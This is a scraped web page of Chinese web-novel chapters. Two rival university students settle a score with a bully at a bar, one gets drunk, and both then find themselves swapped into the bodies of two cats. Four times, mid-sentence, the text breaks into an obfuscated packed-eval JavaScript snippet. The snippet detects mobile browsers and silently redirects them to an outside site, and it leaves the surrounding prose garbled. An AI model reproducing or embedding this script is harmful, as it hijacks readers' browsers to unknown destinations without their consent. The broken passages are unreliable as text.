被打得偏过头的晏隋没什么神情,安静片刻,对着更衣室里几个惊慌失措的队友道:“你们先出去。” 11.第 11 章 更衣室寂静半晌,几个队员面面相觑一眼,犹犹豫豫地走出更衣室。 空荡荡的更衣室只剩下两人。 宁暨将人压在储物柜前,揪着晏隋的衣领,看着晏隋微微偏着头,神情很淡道:“为周民那种人挨处分不值得。” 宁暨冷冷道:“关你屁事?” 晏隋神色平静:“你要真想揍他出气,多得是办法,何必为他挨上一个处分。” 他舔了舔被打破的唇角,抬眼,望着面前宁暨,慢慢道:“当然,我知道你不在乎这些。” “你豁得出去,哪怕挨个处分也不在乎,但你就算在场上豁出去,你能揍他几拳?一拳?两拳?没两下就被人拦住了。” “……” 宁暨下颚收得很紧,揪着面前人衣领的力度渐渐小了下来,仍旧是冷冷道:“那也不是你该拦的。” 晏隋:“明天晚上九点,Subway酒吧,我还你人情。” 宁暨:“什么?” 晏隋靠在储物柜,偏着头,破了的唇角出了点血,优越的五官显出几分漫不经心,“周民经常去Subway酒吧,明晚九点,你来Subway。” “他会心甘情愿给你赔礼道歉,让你出气。” ———— “老幺!” 晚上九点多,寝室里的宁暨坐在电竞椅上,有些出神。 李翔连叫了好几声,他才回过神来,扭头道:“怎么了?” 李翔挥了挥手机:“舍长在群里说估计得住半个月的院,但没什么问题,让你放心,还说有父母陪着。” 高星是A市本地人,一出事父母便赶去了医院陪护, 宁暨低低地嗯了一声,打开手机,看到舍群里的聊天记录,都是高星兴高采烈在说老幺今天帅得要死,校园表白墙十几条都在问金融系篮球队七号球员的联系方式。 为了不让他担心,病床上的高星还录了个视频,对着小餐板上的三菜一汤大呼小叫,笑嘻嘻说那么久没吃到家里的饭,值了值了。 宁暨沉默了一会,回了个表情包。 他上学上得早,年纪小,宿舍的人都比他大好几岁,对他很照顾,几乎都把他当做弟弟看待,特别是舍长高星,对着他总有操不完的心,成天跟个老妈子一样跟在他后面叨叨。 他打开短信,找到最近联系人,给备注名为傻逼的人发了条消息——明晚九点,Subway酒吧见。 发完短信,宁暨将手机撂在书桌上,仰着头,盯着天花板。 ———— 第二天晚上九点。 Subway酒吧门口露天停车场停满了各式各样的昂贵跑车,金碧辉煌的穹顶下红色地毯透着奢靡气息,人高马大的迎宾穿着黑色西装,耳边挂着耳麦。 一阵引擎声响起,黑色的阿斯顿马丁停在酒吧门前,来人下车,长腿包裹在黑色工装裤中,单手插兜,将车钥匙给泊车员。 单手插兜的晏隋低头,看到手机上的信息,抬头,扫了一圈四周,似乎在找什么人。 片刻后,晏隋视线停住,上下打量了好一会,神色变得有些古怪,片刻后,他走上前,对着面前的人叫了一声:“宁暨?” 宁暨转头,将手上的手机塞进口袋,“叫你爹干什么?” 晏隋又上下打量一番面前人,神情有些微妙——他没见过这样的宁暨。 黑色的皮衣短夹克将肩宽腿长的身材衬得极为漂亮,一条银色的皮带扣着一截瘦韧腰身,带着点反光,皮衣夹克里是黑色背心,领口很低,露出大片冷白色皮肤,一条银色项链在性感的锁骨上垂叠。 带着股锋利的漂亮,又有点痞,还带着点说不清道不明的劲儿,加上那张五官优越的脸,很吸眼球。 宁暨抓了抓挂在胸前用来装逼的电子烟,假装老练地把玩了几下,抬头道:“来这里干什么?” 晏隋领着他往前走,“之前去没去过酒吧?” 宁暨镇定道:“去过。” 其实没去过。 毕竟他今年才刚成年,十八岁成日都还是在寝室过的,高星他们只来得及带他去校门口的盛世网吧通宵,还没带他去过酒吧。 酒吧的经理亲自出来迎接他们,笑容满意,半鞠着躬,一面领着他们一面温声道:“我们齐总已经在里面等着您了……” 一进到酒吧里面,震耳欲聋的音乐轰得耳膜发疼,舞池里的人随着音乐扭动身躯,气氛火热,暧昧昏暗的灯光下,到处都是纸醉金迷的奢靡景象。 经理将他们带去一间包厢,推开包厢门,柔软沙发上坐着一个搭着腿的男生,穿着黑色衬衫,一只手搭在沙发背上,懒洋洋地转过头看他们。 黑耀大理石桌面满是琳琅满目的各式洋酒,几个人高马壮的安保围着弓着背的男生。 宁暨一愣——被几个安保摁在地上的人正是食品系篮球赛中的周民。 “来了啊?”沙发上的人笑眯眯地望着他们,同晏隋很熟稔,“这小子刚才在卡座为了讨我们这的美女欢心,开了三套黑桃A。” “结果你们猜怎么着?哎,没钱,付不起。” 地上的周民满身酒气,显然清醒了不少,满头冷汗,脸色发白,止不住发抖,弓着背,嘴里发出一阵阵痛苦的叫唤,同昨日躺在地上的高星一模一样。 “付不起怎么办呢?那肯定是报警啊,但这小子是哭天喊地求着我们,说不要报警,被家里知道就死定了。” 沙发上的人神情愉悦,拍了拍手,几个安保将地上的周民拖到跟前,“你小子运气好,不愿报警进局子让你家里人花钱赎你,只是挨顿打就一笔勾销。” “当初你怎么故意往人别人的脚踝上踩,今儿就怎么还回来,你说是不是?” 晏隋微微偏头,英挺的五官在昏暗的灯光下显得格外优越,漫不经心地蹲下,拿了个东西拍了拍地上周民的脸,扭头问宁暨还要不要补两拳。 宁暨眼皮一跳,觉得眼前的场景莫名有点像警匪片。 他跟这群人就是警匪片里的大反派。 沙发上的年轻人一见到宁暨,眼睛就黏糊在他身离不开,直起了懒洋洋坐着的背,甚至还站起来,自来熟地搭在宁暨的肩,笑吟吟:“不用怕,我跟晏隋熟得很,这位大学生可是哭着求我们这样做。” 年轻人眨了眨眼,“我向来是三好良民,见不得痛哭流涕的大学生因为几万块钱背送到警察局,选择了私了。” 宁暨蹲下来,看着地上满脸是鼻涕和眼泪的周民,有点纠结。 一旁的晏隋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313811|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头,“给他拿个手套。” 纠结完的宁暨,“算了,别拿了。” 一旁笑眯眯的年轻人也蹲下,让周民把前不久吐出来的话重复一遍。 涕泪横流的周民发着抖,断断续续地说那天打比赛他们几个本来商量是使阴招撞宁暨然后趁乱假装不小心踩宁暨脚踝的,最好能让宁暨负伤下场,但宁暨打得太保守,导致他们没能找到机会。 周民没找到机会,索性在直接撞上了高星踩上高星脚踝——他知道高星是宁暨的舍长,两人关系很不错,脾气不太好的宁暨肯定会在一怒之下同他动手。 这样既能让宁暨挨处分,又能让宁暨下场,简直称得上步步算计。 宁暨:“???” 他神情震惊,没忍住道:“不是你二逼吧?我都不认识你,为了个比赛你至于吗?” 涕泪满面的周民缩了缩,哭着断断续续哽咽说宁暨打球太装逼,每次打球看上的妹子都会跑去问要宁暨联系方式,关键是宁暨还不给。 他们宿舍不爽他很久了。 宁暨更加震惊,伸出一根手指:“??我装逼?” 他指向晏隋,没忍住对着周民:“傻逼,这个才是真正的逼王好不好?” 晏隋:“……” 周民哭着说下次他再也不敢了,求他们放过他一马,千万不要报警,给他家里人知道他为了装逼讨卡座上营销美女的欢心花了好几万,会出事的。 哪怕这个钱家里人能替他给酒吧,但绝对会打断他的腿,他宁愿自己挨顿打扛下来,也不愿家里人知道这件事。 年轻人笑眯眯地扭头望向宁暨:“我叫齐霁,晏隋的朋友,认识一下?” 宁暨蹲在地上,想了想:“爱生奇迹的那个奇迹?你名挺特别的。” 齐霁愣了愣,随即大笑了起来,“你还是第一个这样说的人,一起去喝杯酒?” 宁暨有点奇怪——这人从小到大名字居然都没被叫做奇迹,也是挺神奇,后面听到这人请他喝酒,有点不是很乐意。 他挺不乐意同晏隋的朋友一块玩,但又碍于面前人替高星出了口气,勉强地应了下来。 齐霁贴着他,将他拉出包厢,还不忘扭头叫晏隋一块来。 晏隋起身,看着两人离开的背影,皱了皱眉,扭头对一旁的经理道:“你老板最近还喜欢男的?” 经理:“……晏少,我们老板一直都喜欢男的,虽然换对象换得比较快,但这点还是很专一的。” 晏隋露出个有点受不了的神情,显然是直男想象不到男生又什么好喜欢的,但还是走到吧台前,叫住齐霁,让他不要乱来。 齐霁笑嘻嘻:“哪里乱来?只是请他喝杯酒而已,你朋友说他酒量还挺不错。” 一旁的宁暨很严谨地纠正:“我们不是朋友,今天算他还我人情。” 齐霁让调酒师给他调了杯酒,移动酒杯,撑着头笑眯眯地望着宁暨。 晏隋:“你喝不了就别喝,等会我不会送你回去的。” 宁暨切了一声,瞥了晏隋一眼,三两口就将一杯酒喝了干净。 五分钟后。 “咚”地一声,一颗圆圆的脑袋磕在吧台上,发出悠长的呼吸声。 宁暨:“ZZZZZ——” 12.第 12 章 “咚”地一声响声,齐霁震惊地望着趴在吧台上埋头就睡的宁暨。 晏隋一顿,偏头,望着齐霁。 齐霁立即露出冤枉的神情,“我可没干什么啊,我是真没给他喝那些特调,他喝的那杯就是杯普普通通度数低的鸡尾酒。” “我看他打扮,像个隔三差五就在夜店混的海王,哪知道一杯倒啊。” 晏隋懒得理会,警告道:“别乱来。” 齐霁知道他口中说的别乱来指的是什么,心里有点按耐不住,嘴上应了下来,眼睛却还是时不时瞥向趴在吧台的宁暨。 男生埋头伏在吧台,露出的颈侧线蔓着点红,黑色碎发掩住些许耳垂,手臂环住大部分脸庞,银色皮带扣着一截瘦韧的腰,短皮夹克里头的黑色背心凌乱,露出腰间一小片冷白色皮肤,钩子似的抓着路过人的眼。 明明长着那么一张高冷的脸,但喝醉了手关节都是红的,在昏暗暧昧灯光下透着股说不清道不明的劲儿。 耳朵尖都红得让人暗自遐想。 齐霁玩着酒杯,撑着下巴扭头道:“性感得要命,说真的,不能介绍给我吗?” 晏隋冷冷道:“介绍什么?人今年刚成年。” 齐霁:“???” 他嘴角抽了抽:“不是,兄弟,要是不想给我介绍,你就别瞎扯,刚成年?怎么可能刚成年。” “他都跟你是同学,怎么可能刚成年……” 晏隋:“读书读得早,跳级上来的。” 齐霁目光震惊,“所以你以前跟一个毛都没长齐的小屁孩争锋相对了那么多年?” 晏隋:“……” 齐霁:“你比人大好几岁,你跟一小孩较什么劲?” 晏隋:“他要不长这样,你今天能这说出这话?” 齐霁沉思片刻,“哦,那倒是不能。” “你要早说你死对头长这样,我还能帮着他骂你两句。” 晏隋:“……” 齐霁:“说真的,人比你小那么多,脾气不好也正常,更何况人不是挺讲礼貌的吗?” “哦,你之前说他像头倔驴,但谁身上没点毛病啊?我觉得人小宁就挺好的。” 晏隋:“说重点。” 齐霁郑重其事:“我俩以后要是谈上了,你再对他带有敌意不好,我提前把这矛盾给解决了。” 晏隋露出有点受不了的表情,“你有病?你跟他谈什么?有什么好谈的?” “等谈上了,这昂头昂脑的倔驴天天睡前给你比个中指你就高兴了是吧?” 齐霁:“有脾气那叫有个性,我就喜欢这样的,没脾气的我还不乐意谈。” 晏隋:“你审美有问题。” 齐霁叹息道:“你扭头看一眼,你懂从我们坐在这里开始,酒吧里多少人盯着这地方看吗?” “你觉得那群人是盯着我这个隔三差五就在酒吧晃的老板,还是看上去跟性冷淡没什么差的你?” “清醒点,要不是我跟你在这,信不信用不了两分钟,喝醉的他就能被人捞走?” 晏隋偏头,看着酒吧里一些若有若无的炙热视线,莫名有点不太舒服。 他想了想,心想自己果然还是接受不了男生跟男生搞在一起,光是牵手、贴在一块的画面都有点受不了,更想象不出亲吻甚至是爱抚这些亲密举动。 光是想一下,就跟杀了他一样难受。 “你灌醉的,你自己送回去。” 晏隋撂下一句话,扭头就要往外走,单手插兜,显然不打算管吧台上的人。 齐霁兴致勃勃地行了一声,声调响亮又亢奋。 酒吧暧昧昏暗的灯光下,舞池里摇晃的两个男生亲密热烈地贴合在一块,旁若无人地互拥亲吻。 晏隋走了几步,抬头看到这一幕,额角猛然抽了几下,深呼吸几口,猛然掉头。 “把他送我车上。” 吧台前,晏隋面无表情对齐霁蹦出一句。 “他”自然指的是宁暨。 齐霁:“?” 齐霁:“你不是不乐意送他回去吗?” 晏隋神情冷漠,“谁懂你会不会在路上动手动脚。” 齐霁:“……哥我是那种人吗?” 晏隋瞥了他一眼,没说话。 在他眼里,齐霁望着宁暨的眼神都快要把宁暨吃了一样。 搞不懂。 一个只会比中指骂人昂头昂脑的小倔驴到底有什么性感。 喝醉趴桌子睡觉,耳朵尖红了的模样顶多是显得乖了一些而已。 齐霁将吧台上的宁暨扶起来,右手扶着宁暨的肩,刚捞起宁暨的一条手臂,摇摇晃晃的男生就倒向他。 一旁的晏隋皱起眉头,语气有点冷,让齐霁扶人就扶人,别到处乱摸。 齐霁:“…………不是哥,我不接触他,手怎么撑着他啊?” 晏隋有点烦躁。 齐霁性取向是男生,正巧又对宁暨表现出极其浓厚的兴趣,线下一举一动在他眼里都极其可疑。 哪怕齐霁目不斜视,但手哪怕宁暨肩膀上多待一秒,他都怀疑齐霁是故意搂搂抱抱。 晏隋:“把人放下,我带他回去。” 他伸手去接齐霁搀扶着的宁暨,抬起宁暨的一条胳膊搭在自己肩上,扶着宁暨往外走,发现人软绵绵的往他怀里倒,不得不伸出一只手护住宁暨的腰。 喝醉的宁暨倒是乖得很,歪着脑袋,挨着他的肩膀,晏隋瞥了一眼,发现怀里人蓬松柔软的头发上有两个小旋。 听说头发有两个小旋的人都犟得厉害。 说得倒准。 一路将人搀扶到车内,弯腰给醉得不省人事的人上安全带,晏隋关上车门,在车门外吹了两分钟的风,面色有点古怪。 半晌后,晏隋拉开车门,眼睛又瞥到了副驾驶上那截裸露的冷白色窄腰——系安全带的时候宁暨不老实,挣扎了几下,黑色背心被撩上去一截,颜色对比极其强烈。 如今系着安全带的宁暨歪着脑袋,黑色背心敞开的领口 晏隋心头下意识掠过前不久齐霁在酒吧里说的那句话——“性感得要死。” 他面色越发古怪,定定地盯着那截裸露的皮肤,几秒后,又关上车门。 晏隋站在车门外,随后面无表情抬头望向酒吧招牌名字,忽然觉得自己是疯了,竟然会觉得昂头昂脑的倔驴有一天能跟性感扯上关系。 进齐霁开的酒吧久了被下降头,见头驴都觉得顺眼了。 晏隋捋了一把脸,冷静地拉开车门,伸手将副驾驶上宁暨那截撩上去的背心一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363387|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把扯下来。 他面无表情关上车门,发动引擎,一路踩着油门回到学校。 晚上十点,黑色的阿斯顿马丁停在七栋露天停车位。 晏隋熄火,降下车窗,低头,一手解着安全带,一手划着手机翻着班群里的联系人,找到宁暨舍友,给宁暨舍友发去好友申请,想把宁暨交给舍友。 等了十分钟,申请了三个好友,结果三个人没一个同意他的好友申请,可见对他芥蒂颇深。 晏隋:“……” 他偏头,望着歪着脑袋呼呼大睡的醉鬼,有点头疼,不是很想扶着醉鬼上楼。 系个安全带都扭来扭去,嘟嘟囔囔也不知道在说什么,更不用说把人扶上楼了。 晏隋一手搭在方向盘上,刚想叫自己舍友帮个忙,将醉鬼扶上楼送去男生宿舍,骤然间一阵熟悉的困倦感袭来,身体变得轻飘飘,意识仿佛缓缓飘上半空中,灵魂脱离了□□逐渐飘向远处。 “咚”地一声轻响,黑色的手机滚落几圈,握着手机的无力地垂下,晃在半空中。 —— 清晨七点半,晨曦的光芒从云层洒下,A大宿舍楼底三三两两的学生拎着早餐,往教学楼赶着上早八。 小树林的三花猫火急火燎地狂奔,身后跟着一只疾驰的异瞳狮子猫,直直朝着七栋方向狂奔。 两人一睁眼一闭眼,再次醒来后已经天光大亮,低头一看,人手人脚全变成了毛绒绒的爪子。 三花猫原本站起来还有点摇摇晃晃,似乎是宿醉的后遗症,脑袋晕乎乎。 结果一听到狮子猫说他们的本体现在还坐在七栋停车位的车内,窗还开着,三花猫立即炸开了毛——这个点正是上早八的时候,但凡有个认识的同学路过那辆阿斯顿马丁,就能透过车窗看到昏睡在车内的两人。 还是怎么叫都叫不醒,甚至还会有满地爬行冲人喵喵叫的巨大风险。 狂奔的三花猫拼了命地跑出了残影,身后的狮子猫也没好到哪去,一路火急火燎赶到七栋楼下停车位。 李翔几个人打着哈欠,怀里抱着课本,睡眼惺忪地渐渐靠近黑色阿斯顿马丁走去,离得近了甚至还能听到几人在聊天。 “老幺昨天一整晚都没回来?” “没,发信息也不回,估计去酒吧蹦迪通宵了。” “老幺跟谁去?一晚上也没回来,不会出什么事吧?” “应该没事,估计去酒吧蹦迪喝酒喝到半夜醉了呗……” 眼看着一行人渐渐走到黑色的阿斯顿马丁窗前,三花猫同狮子猫闪电一般从敞开的车窗一跃而进。 心急如焚的三花猫踩在晏隋身上,伸出两个爪子拼了命狂按车窗按钮,使劲地蹬在座椅上往上攀。 在李翔一行人擦过黑色的阿斯特马丁时,车窗缓缓上升,逐渐合拢紧闭,将外头的视线彻底隔绝。 心急如焚的三花猫终于松了口气,谁知刚松一口气,被人叫了一声。 “宁暨。” 三花猫扭头,看到异瞳狮子猫闷不吭声,盯着他坐的地方好几秒。 三花猫莫名其妙低头,才发现自己坐在人形晏隋灰色休闲裤鼓鼓囊囊的那一块。 甚至刚才一跃而进的时候,它重重地落在其上,似乎、仿佛、也许给晏隋造成了重大打鸡。 13.第 13 章 还挺大。 第一反应之下,宁暨脑海里不假思索蹦出这个念头。 确实大,四肢爪子都是软绵绵的触感,可见面积之大。 三花猫圆溜溜的眼睛瞄着灰色裤子,心里直犯嘀咕,心想怎么感觉比他的还大。 一想到晏隋那玩意比他还大,宁暨有些被打击到。 男人嘛,对这方面总是格外在乎。 挫败了一会,宁暨安慰自己,晏隋比他大那么多岁,比大一些也正常。 他分析得头头是道——如今自己还在长身体,过几年必定能比晏隋更大。 这么一想,三花猫又挺起胸膛,昂首挺胸地瞥了一眼灰色裤子鼓起的地方,“太小了,没注意到。” 晏隋:“……” 三花猫跳到一旁,强调道:“真的很小,你不说我都没注意到。” 狮子猫:“你的很大?” 三花猫吹嘘:“反正比你大。” 似乎怕晏隋不相信,三花猫补充吓唬道:“是掏出来能吓死的那种大。” 狮子猫瞥了他一眼,显然没把宁暨这话放在眼里。 在他眼里,宁暨跟高中那个臭屁的小屁孩没什么两样,年纪小,个子矮,别人要是长着宁暨那一张脸,抽屉里定然全是情书,但宁暨本人抽屉里却是各种女生投喂的零食。 就这样的宁暨,能比他大? 狮子猫嗤笑一声,懒洋洋心想要是真比他大,按照宁暨的性格,早就掏出来吓死他了。 三花猫毛绒绒的爪子摁着车窗升降的按钮,黑色车窗缓缓下降。 他扭头,对着狮子猫说自己要去办点事。 狮子猫问他去干什么。 三花猫抖了抖毛,装作没听到,实际上自己是要去阶梯教室听今早的早八课,今早的高数课是出了名的难。 狮子猫盯着他一会,幽幽道:“你要去三区上课?” 宁暨一惊:“你怎么知道?” 晏隋冷笑一声——他认识宁暨那么多年,早就对宁暨了如指掌。 狮子猫强行同他挤在一起;“我也要去上课。” 三花猫伸出一只爪子去推他,不乐意道:“滚滚滚,你不是都每节课都偷摸预习吗?” “你还去上什么课?” 但最后狮子猫还是跟着他一块去了三区的阶梯教室,教室里人满为患,不少学生哈欠连天,瞧上去困得不行,整个教室都蔫吧得不行。 每节早八课都是如此,熬夜的学生早早爬起来去上早八,精力自然是不足。 宁暨却精神得不行,偷偷溜进了教室,还特地挑了角落的前排,昂着脑袋瞧着黑板,狮子猫紧随其后,坐在一旁。 三花猫蓬松漂亮的大尾巴晃了晃,吸引了不少学生的目光,瞧着第一排的小猫端坐着,专心致志地望着讲台,背挺得很直,一副认认真真上课的模样。 讲台上的高数教授讲了十多分钟的课,台下的学生精神不济,有的双目呆滞,有的昏昏欲睡,甚至不少学生躲在后排上撑着头,表面认真听课实则打盹。 高数教授讲了半天,虽然作为A大的学生,大部分学生还是在认真听课,但至始至终都没对上一双炯炯有神的眼睛。 他叹了一口气,双手撑在讲台上,翻了一页书,讲了书上的一道难度较大的例题,板书密密麻麻,却发现台下没一个学生能跟得上。 只有两只猫脑袋,目不转睛地盯着他,脑袋转来转去,时不时煞有其事地点点头,碰见他故意写错的地方还会摇头晃脑地叹息。 高数教授放下手中的教案,拍了拍桌子,无奈道:“知道大家早上上课困,但怎么上课怎么还没有两只猫听得认真?” “那两只猫听到关键地方都还知道点头,你们却只知道瞪着眼睛,张大嘴巴望着老师,再这样下去,那两只猫都能拿毕业证了,你们都还得管它们叫学长。” 教室发出一阵笑声。 看着教室的氛围不再是昏昏欲睡,高数教授终于满意,开始讲下个内容。 四十分钟的一节课很快就过去,下课铃响起时,阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377283|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梯教室逐渐响起稀稀拉拉交谈声。 三花猫趴在前排的角落,原本还琢磨着刚才高数教授讲的某个内容点,自己的名字就蹿进了耳朵。 “宁暨今天没来?” 后排的几个同班女生正在闲聊,“没来,西西找了好几次,也没在教室里找到宁暨,估计请假了吧……” “西西可要难过喽,好几天没见着宁暨了。” 温西脸有点红,似乎有点不好意思,抿着唇,转头又找了一圈阶梯教室。 “西西,你都喜欢他那么久了,要不试着追一下?我跟宁暨舍友打听过了,宁暨没有女朋友,可以试一试的……” 温西显得十分犹豫:“我想想吧,我不想连做同学的机会都没有……” “不会的,宁暨瞧上去冷了点,但听他舍友说他好像还没谈过恋爱……” 后排的几个女生小声地劝着温西,浑然不知道正主就在面前。 狮子猫偏头,看到三花猫趴在桌面上,两只爪子捂着耳朵,瞧上去强撑着镇定,尾巴慌得一甩一甩,都快甩成旋转陀螺了。 晏隋瞧了一会,有点稀奇:“你还会害羞?” 天塌下来都有宁暨的嘴顶着,这样的人还会因为偷偷听到别人喜欢自己而面红耳赤害羞? 三花猫扭头冲他呲牙:“关你什么事?” 三花猫跳下桌子,一个箭步冲去隔壁桌面,假装没有发生过那些事,狮子猫也跟着跳到隔壁课桌上,懒洋洋道:“温西,我记得是你们班的文艺委员?挺漂亮的。” 三花猫趴在桌面,没说话,好一会才抬头,有些不自然道:“你别把这事说出去。” 原本还在悠然自然晃着尾巴的狮子猫动作一顿,望着三花猫,又扭头望了一眼后排的温西,冷不丁道:“你也喜欢她啊?” “打算追她?” 三花猫偏头,“没有,反正你别把这事说出去,装作不知道就好了。” 狮子猫慢慢地哦了一声,尾巴垂到桌面,不冷不热道:“你对她挺关心。” 14.第 14 章 宁暨对温西的印象不多,只记得是个很文静温柔的女孩,经常喜欢穿白色裙子,头发黑而柔顺,长得很漂亮。 三花猫趴在课桌上,对着狮子猫回了一句:“我关不关心她是我的事,又不关你的事。” 端坐着的狮子猫盯着它一会,没说话,好半天才似乎是随意道:“哦。” “我以为你跟以前一样,什么事都巴不得拿到我面前说。” 三花猫:“?我什么时候什么事都不巴不得拿到你面前说?我有病啊,巴不得什么事都跟你说。” 狮子猫:“高中竞赛跑第一带着个金牌在我面前晃来晃去,月考考了第一名把排名表都要放在课桌上立起来,连鞋子穿大了一码都要在我周围说五六遍。” 三花猫:“……” 它悻悻然扭头,嘀咕了几句。 高中那会他确实是这样,哪怕多长高了一厘米都恨不得拿个喇叭放在晏隋耳边循环播放。 三花猫趴在课桌上,有些不自然道:“这事不一样……” “女孩子都不愿意这种事给别人知道,你管我喜不喜欢她,别往外传就对了。” “给我知道你往外传,你就死定了。” 狮子猫的尾巴慢慢升了起来,晃了晃,从端坐变成趴下,懒洋洋地哦了一声,声调听上去比刚才缓和了不少。 “咪咪~” 坐在后排的李翔刚完厕所,就看到前排课桌前趴着一只巨漂亮的三花猫,蓬松柔软的尾巴跟狐狸尾巴一样在半空晃来晃去。 李翔没忍住,兴致勃勃地坐在椅子上,伸手去撸趴在课桌上的三花猫。 三花猫原本趴得好好的,忽然被撸了一下脑袋,咻地一下昂起头,心想大胆。没有猫罐头怎么敢来摸它,这跟白嫖有什么区别…… 结果一抬头,瞧见李翔那张笑眯眯的脸,三花猫又大发慈悲地趴了下来,淡定地给李翔摸脑袋。 李翔美滋滋地摸着三花猫脑袋,一边摸一边夸三花猫可爱,宁暨很淡定——在宿舍里他老幺都被叫了,摸两下头又算什么? 三花猫懒洋洋地趴在课桌,发出小小的呼噜声,圆溜溜的眼睛显得很放松。 晏隋从来没见过宁暨这幅模样,乖乖地趴在课桌上给人摸脑袋。 狮子猫抬头,望着宁暨的这个舍友,半晌后,莫名有些不舒服,心想也没见宁暨这个舍友有多优秀。 宁暨同他针锋相对那么厉害,在宿舍里却时常被人老幺老幺的叫着,也不生气。 甚至变成猫还让舍友摸脑袋。 还有上次那个叫高星的舍友,晏隋从没见过宁暨那么生气,哪怕自己操盘手的位置被抢了,宁暨也没那么生气。 狮子猫尾巴垂在桌面上,移开脑袋,不看眼前这一幕。 但是过了一会,狮子猫又不吭声扭回头,冲着三花猫叫了一声。 “宁暨。” 被摸着脑袋的三花猫懒洋洋地抬起脑袋。 狮子猫:“上课了,让他回去吧。” 三花猫想了想,觉得也是该让李翔回去,于是站了起来,伸出一只爪子,将脑袋上的手挪走,又拍了拍课桌,威严示意李翔赶紧回去听课。 李翔乐呵呵地拿出手机,给小猫拍照。 一旁的狮子猫伸出手,挡住摄像头,静静地望着他。 李翔:“?” 他愣愣地望着眼前的异瞳狮子猫,竟然从一只猫的眼神里看出来点不悦。 大清早的,起猛了。 李翔揉了两下眼睛,嘀咕了一句,打算换了个角度继续拍三花猫,谁知道狮子猫跟着手机镜头一同转动,爪子牢牢地遮住摄像头。 上课铃声响起,李翔只能拿着手机回到座位,一边走一边还不住回头去看前排课桌上的两只小猫。 三花猫歪着脑袋,有些疑惑:“你在干什么?” 狮子猫淡淡道:“你舍友拍你不太好,以后那只三花猫不认识你舍友,容易让你舍友产生疑心。” 三花猫噢了一声,但还是想了想道:“李翔应该不会想那么多。” 狮子猫重新趴下:“不怕一万,就怕万一。” 十点半,漫长的高数课结束,李翔一行人背着包,下课经过前排蹲着的两只猫咪,伸手想摸一摸。 前不久懒洋洋趴在桌面上随便揉脑袋的三花猫却灵活地躲开,跟在狮子猫身后,轻盈地跳下课桌,同狮子猫一同疾驰出教室。 李翔有些奇怪,扭头对赵磊纳闷道:“刚才这只三花猫还特别乖地给我摸脑袋,我还想拍个照的,结果被另一只白猫给拦住了。” “说真的,那只白猫跟个人一样,我转手机,它头也跟着转,直直地盯着我,怪瘆人的。” 赵磊打了个哈欠,笑起来:“那只白猫啊,舍长之前刷视频的时候给我看过,那两只猫是一对的,听说很通人性,你拍它对象,它不乐意也正常……” “对了,你们给老幺发信息,老幺回你们了吗?我发了好几条,老幺都没回,不会出什么事了吧?” 李翔看了一眼手表,“应该不会,十点多,估计宿醉后还没醒,等到中午应该就回来了。” ——— “草草草——” 一路从教学楼疾驰到七栋宿舍楼下的三花猫趴在车窗上,发出一叠声惊恐的骂声。 狮子猫:“?” 它后退几步,后腿发力,一跃而上,趴在车窗,看到车窗内,也爆出了一声粗口。 车内的两人不知何时变得东倒西歪,挨在一块,安全带都勒红了脖子,却还要挨在一块,甚至双手都交握在一起。 三花猫浑身的毛都炸开,头皮发麻,颤颤巍巍道:“怎么回事?” 狮子猫没说话,跳进窗户,伸出爪子,拨开两人挨在一块的胳膊,看到胳膊上的抓痕,沉默了半晌。 三花猫火急火燎跳进来,爪子狂摁着车窗升降键,看到车窗彻底关闭才稍稍松了口气,随即拼命地扒拉开两只人相握的十指,哇哇大叫着赶紧分开。 三花猫一爪子将晏隋本体的脑袋拍歪,使出浑身力气推开晏隋庞大的人形,随即绝望道:“怎么回事?” 狮子猫沉默半晌,缓缓道:“这两只猫是一对,我们穿到它们身上,它们自然也穿越到了我们身上,估计是看到了对方,太激动。” 三花猫更绝望了,颤颤巍巍转过头:“所以我以后真的可能会在宿舍到处乱爬,外加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389608|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着舍友学猫叫?” 狮子猫:“……” 三花猫绝望地抱着脑袋,麻木道:“我要退学。” “我要回家,我妈妈说我变成一只蟑螂她也会爱我的。” 在家到处乱爬冲人学猫叫,总比在学校宿舍到处乱爬学猫叫好。 